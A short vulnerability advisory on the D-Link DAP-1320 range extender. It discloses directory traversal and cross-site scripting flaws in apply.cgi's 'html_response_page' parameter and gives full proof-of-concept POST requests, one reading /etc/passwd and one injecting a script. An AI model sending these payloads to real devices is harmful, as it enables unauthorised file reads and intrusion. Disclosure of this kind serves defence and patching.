D-Link's DAP-1320 Wireless Range Extender suffers from both a directory traversal and a XSS vulnerability on all firmware versions. (current v. 1.20B07) --------------------------------------------------------------------------------------------------------------------- Directory Traversal CWE-22: Path Traversal The POST param 'html_response_page' of apply.cgi suffers from a directory traversal vulnerability. The following example will display the contents of /etc/passwd: http://<IP>/apply.cgi Pragma: no-cache Cache-control: no-cache Content-Type: application/x-www-form-urlencoded POST html_response_page=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&login_name=&html_response_message=just_login&log_pass=&login_n=admin&action=do_graph_auth&tmp_log_pass=PAN&tmp_log_pass_auth=FRIED&graph_code=0DEY&session_id=57687&gcode_base64=8TEHPOO%3D HTTP/1.1 --------------------------------------------------------------------------------------------------------------------- XSS CWE-79: Cross Site Scripting The POST param 'html_response_page' of apply.cgi suffers from a XSS vulnerability. Example: http://<IP>/apply.cgi Pragma: no-cache Cache-control: no-cache Content-Type: application/x-www-form-urlencoded POST html_response_page=%3Cscript%3Ealert%28"SquirrelLord"%29%3B%3C%2Fscript%3E&login_name=Huggy&html_response_message=just_login&log_pass=&login_n=admin&action=do_graph_auth&tmp_log_pass=pop&tmp_log_pass_auth=goes&graph_code=joffrey&session_id=57687&gcode_base64=ZZTOPI%3D HTTP/1.1 --------------------------------------------------------------------------------------------------------------------- Vendor Link: http://support.dlink.com/ProductInfo.aspx?m=DAP-1320 Research Contact: K Lovett